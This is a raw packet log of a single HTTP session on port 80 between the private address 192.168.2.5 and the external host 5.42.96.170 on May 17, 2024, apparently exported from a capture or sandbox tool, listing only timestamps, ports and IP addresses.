May 17, 2024 23:45:15.362746000 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.362754107 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.362763882 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.362773895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.362791061 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.363218069 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.363810062 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.363821030 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.363831043 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.364012003 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.364012003 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.364221096 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.364231110 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.364372969 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.365056038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.365067005 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.365102053 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.365370989 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.365782022 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.365793943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.365844965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.366158009 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.367636919 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.367646933 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.367660046 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.367670059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.367679119 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.367759943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.367759943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.367779970 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.368032932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.368042946 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.368122101 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.368122101 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.370129108 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.370140076 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.370148897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.370157003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.370907068 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.370917082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.370929003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.370934963 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.370934963 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.370958090 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.370968103 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.370979071 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.370979071 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.370985031 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.371054888 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.371054888 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.371936083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.371947050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.371954918 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.372127056 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.372127056 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.373466015 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.373476028 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.373485088 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.373490095 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.373498917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.373508930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.373518944 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.373569965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.373569965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.373569965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.374636889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.374650002 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.374659061 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.374705076 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.374705076 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.419022083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.419393063 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.430417061 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.430427074 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.430434942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.430438995 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.430448055 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.430459023 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.430486917 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.430697918 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.431420088 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.431763887 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.431782961 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.431793928 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.431802034 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.431807041 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.431926012 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.431926012 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.432578087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.432589054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.432951927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.432951927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.433248043 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.433259010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.433265924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.433274984 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.433331966 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.433378935 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.434149027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.434159994 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.434169054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.434201956 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.434294939 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.435106039 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.435117006 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.435175896 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.435724020 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.435734987 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.435744047 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.435765028 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.435789108 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.435854912 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.436623096 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.436634064 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.436686039 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.437243938 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.437253952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.437336922 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.467603922 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.467715025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.467792034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.467792034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.468022108 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.468033075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.468126059 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.468126059 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.468338013 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.468730927 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.468743086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.468753099 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.468811989 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.468811989 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.468811989 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.469335079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.469531059 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.470278025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.470521927 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.470532894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.470541954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.470550060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.470695972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.470695972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.470695972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.471462965 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.471473932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.471791029 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.472269058 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.472280025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.472492933 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.503819942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.503956079 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.504035950 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.504123926 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.504312992 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.504374981 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.504720926 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.504730940 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.504771948 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.504771948 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.505028009 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.505552053 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.505563021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.505569935 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.505575895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.505634069 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.505634069 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.505634069 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.506144047 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.506154060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.506514072 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.506946087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.506957054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.506964922 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.506973982 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.507772923 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.507772923 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.507781029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.507864952 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.508065939 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.508075953 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.508084059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.508089066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.508121014 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.508133888 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.508961916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.508971930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.508980989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.509031057 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.509031057 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.509902954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.509912968 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.509922028 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.509931087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.510303974 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.510303974 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.510941029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.510951996 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.510961056 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.511334896 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.511334896 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.511610985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.511620998 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.511636972 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.511648893 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.511657953 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.511742115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.511742115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.511742115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.512648106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.512658119 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.512666941 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.512676001 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.513549089 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.513549089 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.513598919 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.513608932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.513617992 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.513627052 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.513636112 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.513643026 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.513667107 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.513689041 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.514595985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.514606953 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.514615059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.514624119 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.514674902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.514674902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.515618086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.515629053 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.515636921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.515645027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.515674114 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.515700102 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.516617060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.516628027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.516635895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.516644955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.516654968 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.516705990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.516705990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.516705990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.517648935 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.517658949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.517668009 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.517676115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.517796993 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.517796993 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.518583059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.518594027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.518603086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.518613100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.518621922 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.518646955 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.518809080 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.519484043 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.519494057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.519501925 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.519506931 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.519558907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.519558907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.520335913 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.520358086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.520369053 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.520379066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.520390034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.520395041 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.520404100 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.520991087 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.520991087 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.521147013 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.521157026 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.521164894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.521173954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.521289110 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.521289110 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.522026062 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.522037029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.522044897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.522053957 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.522063017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.522193909 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.522193909 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.522883892 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.522893906 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.522902966 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.522911072 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.522968054 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.522968054 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.524353981 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.524363995 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.524372101 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.524382114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.524425983 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.524425983 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.524425983 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.524566889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.524631977 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.524795055 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.525006056 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.525127888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.525244951 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.525244951 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.525244951 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.525419950 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.525429964 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.525439024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.525469065 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.526021004 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.526031971 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.526041031 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.526048899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.526057959 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.526104927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.526104927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.526104927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.526828051 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.526838064 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.526845932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.526855946 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.526866913 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.526874065 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.527004004 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.527004004 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.528137922 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.528148890 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.528157949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.528167963 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.528177023 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.528187037 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.528229952 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.528229952 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.528229952 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.528229952 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.528687954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.528697968 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.528740883 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.528740883 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.529108047 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.529118061 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.529128075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.529136896 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.529145956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.529155970 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.529247999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.529247999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.529247999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.530018091 CEST	80	49707	5.42.96.170	192.168.2.5
